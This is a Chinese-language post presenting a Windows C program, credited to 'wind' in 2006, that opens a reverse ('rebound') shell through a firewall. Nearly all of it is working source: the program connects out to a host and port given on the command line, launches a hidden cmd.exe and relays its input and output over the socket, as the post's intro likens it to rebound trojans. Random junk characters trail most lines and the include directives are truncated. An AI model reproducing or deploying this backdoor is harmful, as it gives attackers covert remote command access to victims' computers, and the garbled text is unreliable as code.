这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y8YsS4E^Q
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/* ============================== 8dR `T}
Rebound port in Windows NT toGiG|L
By wind,2006/7 w[X-Q+7p(t
===============================*/ rl}<&aPH
#include (.UU40:t
#include n.g-%4\q
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#pragma comment(lib,"wsock32.lib") qSP&Fi
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void OutputShell(); 8KJUC&`
SOCKET sClient; Y%;J/4dd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .jJD$FC
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void main(int argc,char **argv) UF-&L:s[
{ ^BA
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WSADATA stWsaData; b-ss^UL
int nRet; ==Egy:<:Q
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) !h#ZbErW
{ T\9[PX<
printf("Useage:\n\rRebound DestIP DestPort\n"); tK;xW
return; Ao\P|K9MyL
} YrnC'o`
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WSAStartup(MAKEWORD(2,2),&stWsaData); '8]p]#l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {D[6=\F
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stSaiClient.sin_family = AF_INET; >ZJ]yhbhK
stSaiClient.sin_port = htons(0); cF
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |$\K/]q-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d.?}>jl
{ #@oB2%&X?
printf("Bind Socket Failed!\n"); '>
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return; P")I)>Q6
} x3i}IC
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stSaiServer.sin_family = AF_INET; *47/BLys<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lqfTF
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); loIb}8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qb[hKp5K6
{ L2>e@p\>
printf("Connect Error!"); 9s<4`oa
return; Cn/WNCzst&
} +(2$YJ35
OutputShell(); 'i%r
} <8}FsRr;J
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void OutputShell() + ,Krq 3P
{ 8xENzTR
char szBuff[1024]; nG<oae6z"
SECURITY_ATTRIBUTES stSecurityAttributes; ~Ykn|$_"I
OSVERSIONINFO stOsversionInfo; SOI=~BGd)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?Kgb-bXB
STARTUPINFO stStartupInfo; bkd`7(r
char *szShell; SE\?8cs]-
PROCESS_INFORMATION stProcessInformation; 5QiQDQT}5
unsigned long lBytesRead; !'H$08Ql}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '^TeV=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `,6|6.8#
stSecurityAttributes.lpSecurityDescriptor = 0; V22z-$cb
stSecurityAttributes.bInheritHandle = TRUE; QdgJNT<=H,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UF7h{V})
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]L~NYe9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k\[(;9sf.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &IN%2c
stStartupInfo.wShowWindow = SW_HIDE; !p+54w\ 2
stStartupInfo.hStdInput = hReadPipe; kBZ1)?
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I(^0/]'
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GetVersionEx(&stOsversionInfo); }. &ellNQ
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switch(stOsversionInfo.dwPlatformId) >$'z4TC\T
{ 36{GZDGQ
case 1: >[Vc$[62
szShell = "command.com"; &Pb:P?I
break; bg Ux&3
default: $A?9U}V#^
szShell = "cmd.exe"; ,jRAVt+{N
break; }sH[_%)
} 3SIqod;%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U,P>P+\@
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send(sClient,szMsg,77,0); 'yPKQ/y$x
while(1) 9" q-Bb
{ ,40OCd!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ],SQD3~9
if(lBytesRead) 3tZIL
{ f(pq`v^-n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?5EH/yV;
send(sClient,szBuff,lBytesRead,0); =|-=4.b+|
} J-
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else |BFzTz,o
{ T^7Cv{[
lBytesRead=recv(sClient,szBuff,1024,0); YTa
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if(lBytesRead<=0) break; Wa|V~PL+T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xoo,}EY
} K\2{SjL:B
} I Id4w~|
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return; 44}5o
}